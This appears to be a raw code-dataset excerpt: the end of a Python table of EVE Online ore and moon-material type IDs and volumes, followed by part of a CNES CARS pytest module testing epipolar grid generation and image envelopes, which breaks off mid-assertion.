{'compressed_type_id': 46294,\n 'compressed_volume': 10,\n 'type_id': 46294,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Copious Titanite': {'compressed_type_id': 46292,\n 'compressed_volume': 10,\n 'type_id': 46292,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Crimson Arkonor': {'compressed_type_id': 28385,\n 'compressed_volume': 8.8,\n 'type_id': 17425,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Crokite': {'compressed_type_id': 28391,\n 'compressed_volume': 7.81,\n 'type_id': 1225,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Crystalline Crokite': {'compressed_type_id': 28392,\n 'compressed_volume': 7.81,\n 'type_id': 17433,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Cubic Bistot': {'compressed_type_id': 46692,\n 'compressed_volume': 4.4,\n 'type_id': 46676,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Dark Glitter': {'compressed_type_id': 28435,\n 'compressed_volume': 100.0,\n 'type_id': 16267,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Dark Ochre': {'compressed_type_id': 28394,\n 'compressed_volume': 4.2,\n 'type_id': 1232,\n 'unit_type': 'ore',\n 'volume': 8},\n 'Dazzling Spodumain': {'compressed_type_id': 46704,\n 'compressed_volume': 28.0,\n 'type_id': 46688,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Dense Veldspar': {'compressed_type_id': 28431,\n 'compressed_volume': 0.15,\n 'type_id': 17471,\n 'unit_type': 'ore',\n 'volume': 0.1},\n 'Enriched Clear Icicle': {'compressed_type_id': 28436,\n 'compressed_volume': 100.0,\n 'type_id': 17978,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Euxenite': {'compressed_type_id': 45495,\n 'compressed_volume': 10,\n 'type_id': 45495,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Fiery Kernite': {'compressed_type_id': 28409,\n 'compressed_volume': 0.19,\n 'type_id': 17453,\n 'unit_type': 'ore',\n 'volume': 1.2},\n 'Flawless Arkonor': {'compressed_type_id': 46691,\n 'compressed_volume': 8.8,\n 'type_id': 46678,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Gelidus': {'compressed_type_id': 28437,\n 'compressed_volume': 100.0,\n 'type_id': 16268,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Glacial Mass': {'compressed_type_id': 28438,\n 'compressed_volume': 100.0,\n 'type_id': 16263,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Glare Crust': {'compressed_type_id': 28439,\n 'compressed_volume': 100.0,\n 'type_id': 16266,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Glazed Hedbergite': {'compressed_type_id': 28400,\n 'compressed_volume': 0.47,\n 'type_id': 17441,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Gleaming Spodumain': {'compressed_type_id': 28419,\n 'compressed_volume': 28.0,\n 'type_id': 17467,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Glistening Bitumens': {'compressed_type_id': 46285,\n 'compressed_volume': 10,\n 'type_id': 46285,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glistening Coesite': {'compressed_type_id': 46287,\n 'compressed_volume': 10,\n 'type_id': 46287,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glistening Sylvite': {'compressed_type_id': 46283,\n 'compressed_volume': 10,\n 'type_id': 46283,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glistening Zeolites': {'compressed_type_id': 46281,\n 'compressed_volume': 10,\n 'type_id': 46281,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glossy Scordite': {'compressed_type_id': 46703,\n 'compressed_volume': 0.19,\n 'type_id': 46687,\n 'unit_type': 'ore',\n 'volume': 0.15},\n 'Glowing Carnotite': {'compressed_type_id': 46305,\n 'compressed_volume': 10,\n 'type_id': 46305,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glowing Cinnabar': {'compressed_type_id': 46311,\n 'compressed_volume': 10,\n 'type_id': 46311,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glowing Pollucite': {'compressed_type_id': 46309,\n 'compressed_volume': 10,\n 'type_id': 46309,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Glowing Zircon': {'compressed_type_id': 46307,\n 'compressed_volume': 10,\n 'type_id': 46307,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Gneiss': {'compressed_type_id': 28397,\n 'compressed_volume': 1.8,\n 'type_id': 1229,\n 'unit_type': 'ore',\n 'volume': 5},\n 'Golden Omber': {'compressed_type_id': 28415,\n 'compressed_volume': 0.3,\n 'type_id': 17868,\n 'unit_type': 'ore',\n 'volume': 0.6},\n 'Hedbergite': {'compressed_type_id': 28401,\n 'compressed_volume': 0.47,\n 'type_id': 21,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Hemorphite': {'compressed_type_id': 28403,\n 'compressed_volume': 0.86,\n 'type_id': 1231,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Immaculate Jaspet': {'compressed_type_id': 46698,\n 'compressed_volume': 0.15,\n 'type_id': 46682,\n 'unit_type': 'ore',\n 'volume': 2},\n 'Iridescent Gneiss': {'compressed_type_id': 28398,\n 'compressed_volume': 1.8,\n 'type_id': 17865,\n 'unit_type': 'ore',\n 'volume': 5},\n 'Jaspet': {'compressed_type_id': 28406,\n 'compressed_volume': 0.15,\n 'type_id': 1226,\n 'unit_type': 'ore',\n 'volume': 2},\n 'Jet Ochre': {'compressed_type_id': 46694,\n 'compressed_volume': 4.2,\n 'type_id': 46675,\n 'unit_type': 'ore',\n 'volume': 8},\n 'Kernite': {'compressed_type_id': 28410,\n 'compressed_volume': 0.19,\n 'type_id': 20,\n 'unit_type': 'ore',\n 'volume': 1.2},\n 'Krystallos': {'compressed_type_id': 28440,\n 'compressed_volume': 100.0,\n 'type_id': 16269,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Lavish Chromite': {'compressed_type_id': 46302,\n 'compressed_volume': 10,\n 'type_id': 46302,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Lavish Otavite': {'compressed_type_id': 46296,\n 'compressed_volume': 10,\n 'type_id': 46296,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Lavish Sperrylite': {'compressed_type_id': 46298,\n 'compressed_volume': 10,\n 'type_id': 46298,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Lavish Vanadinite': {'compressed_type_id': 46300,\n 'compressed_volume': 10,\n 'type_id': 46300,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Loparite': {'compressed_type_id': 45512,\n 'compressed_volume': 10,\n 'type_id': 45512,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Luminous Kernite': {'compressed_type_id': 28411,\n 'compressed_volume': 0.19,\n 'type_id': 17452,\n 'unit_type': 'ore',\n 'volume': 1.2},\n 'Lustrous Hedbergite': {'compressed_type_id': 46696,\n 'compressed_volume': 0.47,\n 'type_id': 46680,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Magma Mercoxit': {'compressed_type_id': 28412,\n 'compressed_volume': 0.1,\n 'type_id': 17869,\n 'unit_type': 'mercoxit',\n 'volume': 40},\n 'Massive Scordite': {'compressed_type_id': 28428,\n 'compressed_volume': 0.19,\n 'type_id': 17464,\n 'unit_type': 'ore',\n 'volume': 0.15},\n 'Mercoxit': {'compressed_type_id': 28413,\n 'compressed_volume': 0.1,\n 'type_id': 11396,\n 'unit_type': 'mercoxit',\n 'volume': 40},\n 'Monazite': {'compressed_type_id': 45511,\n 'compressed_volume': 10,\n 'type_id': 45511,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Monoclinic Bistot': {'compressed_type_id': 28389,\n 'compressed_volume': 4.4,\n 'type_id': 17429,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Obsidian Ochre': {'compressed_type_id': 28395,\n 'compressed_volume': 4.2,\n 'type_id': 17437,\n 'unit_type': 'ore',\n 'volume': 8},\n 'Omber': {'compressed_type_id': 28416,\n 'compressed_volume': 0.3,\n 'type_id': 1227,\n 'unit_type': 'ore',\n 'volume': 0.6},\n 'Onyx Ochre': {'compressed_type_id': 28396,\n 'compressed_volume': 4.2,\n 'type_id': 17436,\n 'unit_type': 'ore',\n 'volume': 8},\n 'Opulent Pyroxeres': {'compressed_type_id': 46702,\n 'compressed_volume': 0.16,\n 'type_id': 46686,\n 'unit_type': 'ore',\n 'volume': 0.3},\n 'Otavite': {'compressed_type_id': 45498,\n 'compressed_volume': 10,\n 'type_id': 45498,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Pellucid Crokite': {'compressed_type_id': 46693,\n 'compressed_volume': 7.81,\n 'type_id': 46677,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Plagioclase': {'compressed_type_id': 28422,\n 'compressed_volume': 0.15,\n 'type_id': 18,\n 'unit_type': 'ore',\n 'volume': 0.35},\n 'Platinoid Omber': {'compressed_type_id': 46700,\n 'compressed_volume': 0.3,\n 'type_id': 46684,\n 'unit_type': 'ore',\n 'volume': 0.6},\n 'Pollucite': {'compressed_type_id': 45504,\n 'compressed_volume': 10,\n 'type_id': 45504,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Prime Arkonor': {'compressed_type_id': 28387,\n 'compressed_volume': 8.8,\n 'type_id': 17426,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Prismatic Gneiss': {'compressed_type_id': 28399,\n 'compressed_volume': 1.8,\n 'type_id': 17866,\n 'unit_type': 'ore',\n 'volume': 5},\n 'Pristine Jaspet': {'compressed_type_id': 28407,\n 'compressed_volume': 0.15,\n 'type_id': 17449,\n 'unit_type': 'ore',\n 'volume': 2},\n 'Pristine White Glaze': {'compressed_type_id': 28441,\n 'compressed_volume': 100.0,\n 'type_id': 17976,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Pure Jaspet': {'compressed_type_id': 28408,\n 'compressed_volume': 0.15,\n 'type_id': 17448,\n 'unit_type': 'ore',\n 'volume': 2},\n 'Pyroxeres': {'compressed_type_id': 28424,\n 'compressed_volume': 0.16,\n 'type_id': 1224,\n 'unit_type': 'ore',\n 'volume': 0.3},\n 'Radiant Hemorphite': {'compressed_type_id': 28404,\n 'compressed_volume': 0.86,\n 'type_id': 17445,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Replete Carnotite': {'compressed_type_id': 46304,\n 'compressed_volume': 10,\n 'type_id': 46304,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Replete Cinnabar': {'compressed_type_id': 46310,\n 'compressed_volume': 10,\n 'type_id': 46310,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Replete Pollucite': {'compressed_type_id': 46308,\n 'compressed_volume': 10,\n 'type_id': 46308,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Replete Zircon': {'compressed_type_id': 46306,\n 'compressed_volume': 10,\n 'type_id': 46306,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Resplendant Kernite': {'compressed_type_id': 46699,\n 'compressed_volume': 0.19,\n 'type_id': 46683,\n 'unit_type': 'ore',\n 'volume': 1.2},\n 'Rich Plagioclase': {'compressed_type_id': 28423,\n 'compressed_volume': 0.15,\n 'type_id': 17456,\n 'unit_type': 'ore',\n 'volume': 0.35},\n 'Scheelite': {'compressed_type_id': 45497,\n 'compressed_volume': 10,\n 'type_id': 45497,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Scintillating Hemorphite': {'compressed_type_id': 46697,\n 'compressed_volume': 0.86,\n 'type_id': 46681,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Scordite': {'compressed_type_id': 28429,\n 'compressed_volume': 0.19,\n 'type_id': 1228,\n 'unit_type': 'ore',\n 'volume': 0.15},\n 'Sharp Crokite': {'compressed_type_id': 28393,\n 'compressed_volume': 7.81,\n 'type_id': 17432,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Shimmering Chromite': {'compressed_type_id': 46303,\n 'compressed_volume': 10,\n 'type_id': 46303,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shimmering Otavite': {'compressed_type_id': 46297,\n 'compressed_volume': 10,\n 'type_id': 46297,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shimmering Sperrylite': {'compressed_type_id': 46299,\n 'compressed_volume': 10,\n 'type_id': 46299,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shimmering Vanadinite': {'compressed_type_id': 46301,\n 'compressed_volume': 10,\n 'type_id': 46301,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shining Loparite': {'compressed_type_id': 46317,\n 'compressed_volume': 10,\n 'type_id': 46317,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shining Monazite': {'compressed_type_id': 46315,\n 'compressed_volume': 10,\n 'type_id': 46315,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shining Xenotime': {'compressed_type_id': 46313,\n 'compressed_volume': 10,\n 'type_id': 46313,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Shining Ytterbite': {'compressed_type_id': 46319,\n 'compressed_volume': 10,\n 'type_id': 46319,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Silvery Omber': {'compressed_type_id': 28417,\n 'compressed_volume': 0.3,\n 'type_id': 17867,\n 'unit_type': 'ore',\n 'volume': 0.6},\n 'Smooth Glacial Mass': {'compressed_type_id': 28442,\n 'compressed_volume': 100.0,\n 'type_id': 17977,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Solid Pyroxeres': {'compressed_type_id': 28425,\n 'compressed_volume': 0.16,\n 'type_id': 17459,\n 'unit_type': 'ore',\n 'volume': 0.3},\n 'Sparkling Plagioclase': {'compressed_type_id': 46701,\n 'compressed_volume': 0.15,\n 'type_id': 46685,\n 'unit_type': 'ore',\n 'volume': 0.35},\n 'Sperrylite': {'compressed_type_id': 45499,\n 'compressed_volume': 10,\n 'type_id': 45499,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Spodumain': {'compressed_type_id': 28420,\n 'compressed_volume': 28.0,\n 'type_id': 19,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Stable Veldspar': {'compressed_type_id': 46705,\n 'compressed_volume': 0.15,\n 'type_id': 46689,\n 'unit_type': 'ore',\n 'volume': 0.1},\n 'Sylvite': {'compressed_type_id': 45491,\n 'compressed_volume': 10,\n 'type_id': 45491,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Thick Blue Ice': {'compressed_type_id': 28443,\n 'compressed_volume': 100.0,\n 'type_id': 17975,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Titanite': {'compressed_type_id': 45496,\n 'compressed_volume': 10,\n 'type_id': 45496,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Triclinic Bistot': {'compressed_type_id': 28390,\n 'compressed_volume': 4.4,\n 'type_id': 17428,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Twinkling Cobaltite': {'compressed_type_id': 46289,\n 'compressed_volume': 10,\n 'type_id': 46289,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Twinkling Euxenite': {'compressed_type_id': 46291,\n 'compressed_volume': 10,\n 'type_id': 46291,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Twinkling Scheelite': {'compressed_type_id': 46295,\n 'compressed_volume': 10,\n 'type_id': 46295,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Twinkling Titanite': {'compressed_type_id': 46293,\n 'compressed_volume': 10,\n 'type_id': 46293,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Vanadinite': {'compressed_type_id': 45500,\n 'compressed_volume': 10,\n 'type_id': 45500,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Veldspar': {'compressed_type_id': 28432,\n 'compressed_volume': 0.15,\n 'type_id': 1230,\n 'unit_type': 'ore',\n 'volume': 0.1},\n 'Viscous Pyroxeres': {'compressed_type_id': 28426,\n 'compressed_volume': 0.16,\n 'type_id': 17460,\n 'unit_type': 'ore',\n 'volume': 0.3},\n 'Vitreous Mercoxit': {'compressed_type_id': 28414,\n 'compressed_volume': 0.1,\n 'type_id': 17870,\n 'unit_type': 'mercoxit',\n 'volume': 40},\n 'Vitric Hedbergite': {'compressed_type_id': 28402,\n 'compressed_volume': 0.47,\n 'type_id': 17440,\n 'unit_type': 'ore',\n 'volume': 3},\n 'Vivid Hemorphite': {'compressed_type_id': 28405,\n 'compressed_volume': 0.86,\n 'type_id': 17444,\n 'unit_type': 'ore',\n 'volume': 3},\n 'White Glaze': {'compressed_type_id': 28444,\n 'compressed_volume': 100.0,\n 'type_id': 16265,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Xenotime': {'compressed_type_id': 45510,\n 'compressed_volume': 10,\n 'type_id': 45510,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Ytterbite': {'compressed_type_id': 45513,\n 'compressed_volume': 10,\n 'type_id': 45513,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Zeolites': {'compressed_type_id': 45490,\n 'compressed_volume': 10,\n 'type_id': 45490,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Zircon': {'compressed_type_id': 45503,\n 'compressed_volume': 10,\n 'type_id': 45503,\n 'unit_type': 'moon_goo',\n 'volume': 10}}\n\nwith open(\"baseOreData.json\", \"w\") as f:\n json.dump(baseOreDataDict, f)\n", "source": "vjackrussel/ore_calc", "license": "MIT"} {"text": "#!/usr/bin/env python\n# coding: utf8\n#\n# Copyright (c) 2020 Centre National d'Etudes Spatiales (CNES).\n#\n# This file is part of CARS\n# (see https://github.com/CNES/cars).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\"\nTest module for cars/core/geometry/otb_geometry.py\n\"\"\"\n\nimport os\nimport tempfile\nfrom shutil import copy2\n\n# Third party imports\nimport numpy as np\nimport otbApplication\nimport pytest\nimport rasterio as rio\n\n# CARS imports\nfrom cars.conf import input_parameters, static_conf\nfrom cars.core.geometry import AbstractGeometry\nfrom cars.core.inputs import read_vector\n\n# CARS Tests imports\nfrom ...helpers import absolute_data_path, temporary_dir\n\n\ndef rigid_transform_resample(\n img: str, scale_x: float, scale_y: float, img_transformed: str\n):\n \"\"\"\n Execute RigidTransformResample OTB application\n\n :param img: path to the image to transform\n :param scale_x: scale factor to apply along x axis\n :param scale_y: scale factor to apply along y axis\n :param img_transformed: output image path\n \"\"\"\n\n # create otb app to rescale input images\n app = otbApplication.Registry.CreateApplication(\"RigidTransformResample\")\n\n app.SetParameterString(\"in\", img)\n app.SetParameterString(\"transform.type\", \"id\")\n app.SetParameterFloat(\"transform.type.id.scalex\", abs(scale_x))\n app.SetParameterFloat(\"transform.type.id.scaley\", abs(scale_y))\n app.SetParameterString(\"out\", img_transformed)\n app.ExecuteAndWriteOutput()\n\n\n@pytest.mark.unit_tests\ndef test_generate_epipolar_grids():\n \"\"\"\n Test if the pipeline is correctly built and produces consistent grids\n \"\"\"\n conf = {\n input_parameters.IMG1_TAG: absolute_data_path(\n \"input/phr_ventoux/left_image.tif\"\n ),\n input_parameters.IMG2_TAG: absolute_data_path(\n \"input/phr_ventoux/right_image.tif\"\n ),\n }\n dem = absolute_data_path(\"input/phr_ventoux/srtm\")\n step = 45\n\n geo_loader = (\n AbstractGeometry( # pylint: disable=abstract-class-instantiated\n \"OTBGeometry\"\n )\n )\n\n # test with geoid\n (\n left_grid_as_array,\n right_grid_as_array,\n origin,\n spacing,\n epipolar_size,\n disp_to_alt_ratio,\n ) = geo_loader.generate_epipolar_grids(\n conf, dem, epipolar_step=step, geoid=static_conf.get_geoid_path()\n )\n\n assert epipolar_size == [612, 612]\n assert left_grid_as_array.shape == (15, 15, 2)\n assert origin[0] == 0\n assert origin[1] == 0\n assert spacing[0] == step\n assert spacing[1] == step\n assert np.isclose(disp_to_alt_ratio, 1 / 0.7, 0.01)\n\n # Uncomment to update baseline\n # np.save(absolute_data_path(\"ref_output/left_grid.npy\"),\n # left_grid_as_array)\n\n left_grid_np_reference = np.load(\n absolute_data_path(\"ref_output/left_grid.npy\")\n )\n np.testing.assert_allclose(left_grid_as_array, left_grid_np_reference)\n\n assert right_grid_as_array.shape == (15, 15, 2)\n\n # Uncomment to update baseline\n # np.save(absolute_data_path(\"ref_output/right_grid.npy\"),\n # right_grid_as_array)\n\n right_grid_np_reference = np.load(\n absolute_data_path(\"ref_output/right_grid.npy\")\n )\n np.testing.assert_allclose(right_grid_as_array, right_grid_np_reference)\n\n # test without geoid\n (\n left_grid_as_array,\n right_grid_as_array,\n origin,\n spacing,\n epipolar_size,\n disp_to_alt_ratio,\n ) = geo_loader.generate_epipolar_grids(\n conf,\n dem,\n epipolar_step=step,\n )\n\n assert epipolar_size == [612, 612]\n assert left_grid_as_array.shape == (15, 15, 2)\n assert origin[0] == 0\n assert origin[1] == 0\n assert spacing[0] == step\n assert spacing[1] == step\n assert np.isclose(disp_to_alt_ratio, 1 / 0.7, 0.01)\n\n # Uncomment to update baseline\n # np.save(absolute_data_path(\"ref_output/left_grid_no_geoid.npy\"),\n # left_grid_as_array)\n\n left_grid_np_reference = np.load(\n absolute_data_path(\"ref_output/left_grid_no_geoid.npy\")\n )\n np.testing.assert_allclose(left_grid_as_array, left_grid_np_reference)\n\n assert right_grid_as_array.shape == (15, 15, 2)\n\n # Uncomment to update baseline\n # np.save(absolute_data_path(\"ref_output/right_grid_no_geoid.npy\"),\n # right_grid_as_array)\n\n right_grid_np_reference = np.load(\n absolute_data_path(\"ref_output/right_grid_no_geoid.npy\")\n )\n np.testing.assert_allclose(right_grid_as_array, right_grid_np_reference)\n\n\n@pytest.mark.unit_tests\ndef test_generate_epipolar_grids_scaled_inputs():\n \"\"\"\n test different pixel sizes in input images\n \"\"\"\n img1 = absolute_data_path(\"input/phr_ventoux/left_image.tif\")\n img2 = absolute_data_path(\"input/phr_ventoux/right_image.tif\")\n conf = {input_parameters.IMG1_TAG: img1, input_parameters.IMG2_TAG: img2}\n dem = absolute_data_path(\"input/phr_ventoux/srtm\")\n step = 45\n\n geo_loader = (\n AbstractGeometry( # pylint: disable=abstract-class-instantiated\n \"OTBGeometry\"\n )\n )\n\n # reference\n (\n _,\n _,\n _,\n _,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n ) = geo_loader.generate_epipolar_grids(\n conf, dem, epipolar_step=step, geoid=static_conf.get_geoid_path()\n )\n\n # define negative scale transform\n def create_negative_transform(srs_img, dst_img, reverse_x, reverse_y):\n \"\"\"\n Reverse transform on x or y axis if reverse_x or reverse_y are activated\n :param srs_img:\n :type srs_img: str\n :param dst_img:\n :type dst_img: str\n :param reverse_x:\n :type srs_img: bool\n :param reverse_y:\n :type srs_img: bool\n :return:\n \"\"\"\n with rio.open(srs_img, \"r\") as rio_former_dst:\n former_array = rio_former_dst.read(1)\n former_transform = rio_former_dst.transform\n # modify transform\n x_fact = 1\n y_fact = 1\n x_size = 0\n y_size = 0\n\n if reverse_x:\n x_fact = -1\n x_size = former_array.shape[0] * abs(former_transform[0])\n if reverse_y:\n y_fact = -1\n y_size = former_array.shape[1] * abs(former_transform[4])\n new_transform = rio.Affine(\n x_fact * former_transform[0],\n former_transform[1],\n x_size + former_transform[2],\n former_transform[3],\n y_fact * former_transform[4],\n y_size + former_transform[5],\n )\n\n with rio.open(\n dst_img,\n \"w\",\n driver=\"GTiff\",\n height=former_array.shape[0],\n width=former_array.shape[1],\n count=1,\n dtype=former_array.dtype,\n crs=rio_former_dst.crs,\n transform=new_transform,\n ) as rio_dst:\n rio_dst.write(former_array, 1)\n\n # define generic test\n def test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex,\n scaley,\n ):\n \"\"\"\n Test that epipolar image size and disp_to_alt_ratio remain unchanged\n when scaling the input images\n\n tested combinations:\n - scaled img1 and scaled img2\n - img1 and scaled img2\n - scaled img1 and img2\n \"\"\"\n\n with tempfile.TemporaryDirectory(dir=temporary_dir()) as directory:\n # manage negative scaling\n negative_scale_x = scalex < 0\n negative_scale_y = scaley < 0\n\n # rescale inputs\n img1_transform = os.path.join(directory, \"img1_transform.tif\")\n img2_transform = os.path.join(directory, \"img2_transform.tif\")\n\n if negative_scale_x or negative_scale_y:\n # create new images\n img1_geom = img1.replace(\".tif\", \".geom\")\n img2_geom = img2.replace(\".tif\", \".geom\")\n img1_reversed = os.path.join(directory, \"img1_reversed.tif\")\n img2_reversed = os.path.join(directory, \"img2_reversed.tif\")\n img1_reversed_geom = os.path.join(\n directory, \"img1_reversed.geom\"\n )\n img2_reversed_geom = os.path.join(\n directory, \"img2_reversed.geom\"\n )\n copy2(img1_geom, img1_reversed_geom)\n copy2(img2_geom, img2_reversed_geom)\n create_negative_transform(\n img1, img1_reversed, negative_scale_x, negative_scale_y\n )\n create_negative_transform(\n img2, img2_reversed, negative_scale_x, negative_scale_y\n )\n img1 = img1_reversed\n img2 = img2_reversed\n\n rigid_transform_resample(img1, scalex, scaley, img1_transform)\n rigid_transform_resample(img2, scalex, scaley, img2_transform)\n\n with rio.open(img1_transform, \"r\") as rio_dst:\n pixel_size_x, pixel_size_y = (\n rio_dst.transform[0],\n rio_dst.transform[4],\n )\n assert pixel_size_x == 1 / scalex\n assert pixel_size_y == 1 / scaley\n\n with rio.open(img2_transform, \"r\") as rio_dst:\n pixel_size_x, pixel_size_y = (\n rio_dst.transform[0],\n rio_dst.transform[4],\n )\n assert pixel_size_x == 1 / scalex\n assert pixel_size_y == 1 / scaley\n\n geo_loader = (\n AbstractGeometry( # pylint: disable=abstract-class-instantiated\n \"OTBGeometry\"\n )\n )\n\n # img1_transform / img2_transform\n conf = {\n input_parameters.IMG1_TAG: img1_transform,\n input_parameters.IMG2_TAG: img2_transform,\n }\n (\n _,\n _,\n _,\n _,\n epipolar_size,\n disp_to_alt_ratio,\n ) = geo_loader.generate_epipolar_grids(\n conf,\n dem,\n epipolar_step=step,\n geoid=static_conf.get_geoid_path(),\n )\n\n assert epipolar_size == ref_epipolar_size\n assert abs(disp_to_alt_ratio - ref_disp_to_alt_ratio) < 1e-06\n\n # img1_transform / img2\n conf[input_parameters.IMG2_TAG] = img2\n (\n _,\n _,\n _,\n _,\n epipolar_size,\n disp_to_alt_ratio,\n ) = geo_loader.generate_epipolar_grids(\n conf,\n dem,\n epipolar_step=step,\n geoid=static_conf.get_geoid_path(),\n )\n\n assert epipolar_size == ref_epipolar_size\n assert abs(disp_to_alt_ratio - ref_disp_to_alt_ratio) < 1e-06\n\n # img1 / img2_transform\n conf[input_parameters.IMG1_TAG] = img1\n conf[input_parameters.IMG2_TAG] = img2_transform\n (\n _,\n _,\n _,\n _,\n epipolar_size,\n disp_to_alt_ratio,\n ) = geo_loader.generate_epipolar_grids(\n conf,\n dem,\n epipolar_step=step,\n geoid=static_conf.get_geoid_path(),\n )\n\n assert epipolar_size == ref_epipolar_size\n assert abs(disp_to_alt_ratio - ref_disp_to_alt_ratio) < 1e-06\n\n # test with scalex= 2, scaley=2\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=2.0,\n scaley=2.0,\n )\n # test with scalex= 2, scaley=3\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=2.0,\n scaley=3.0,\n )\n # test with scalex= 0.5, scaley=0.5\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=1 / 2.0,\n scaley=1 / 2.0,\n )\n # test with scalex= 0.5, scaley=0.25\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=1 / 2.0,\n scaley=1 / 4.0,\n )\n\n # test with scalex= 1, scaley=-1\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=1.0,\n scaley=-1.0,\n )\n\n # test with scalex= -1, scaley=1\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=-1.0,\n scaley=1.0,\n )\n\n # test with scalex= -1, scaley=-2\n test_with_scaled_inputs(\n img1,\n img2,\n dem,\n step,\n ref_epipolar_size,\n ref_disp_to_alt_ratio,\n scalex=-1.0,\n scaley=-2.0,\n )\n\n\n@pytest.mark.unit_tests\ndef test_image_envelope():\n \"\"\"\n Test image_envelope function\n \"\"\"\n img = absolute_data_path(\"input/phr_ventoux/left_image.tif\")\n conf = {input_parameters.IMG1_TAG: img}\n dem = absolute_data_path(\"input/phr_ventoux/srtm\")\n\n geo_loader = (\n AbstractGeometry( # pylint: disable=abstract-class-instantiated\n \"OTBGeometry\"\n )\n )\n\n with tempfile.TemporaryDirectory(dir=temporary_dir()) as directory:\n shp = os.path.join(directory, \"envelope.gpkg\")\n\n geo_loader.image_envelope(\n conf,\n input_parameters.PRODUCT1_KEY,\n shp,\n )\n\n assert os.path.isfile(shp)\n poly, epsg = read_vector(shp)\n assert epsg == 4326\n assert list(poly.exterior.coords) == [\n (5.193078704737658, 44.207395924036454),\n 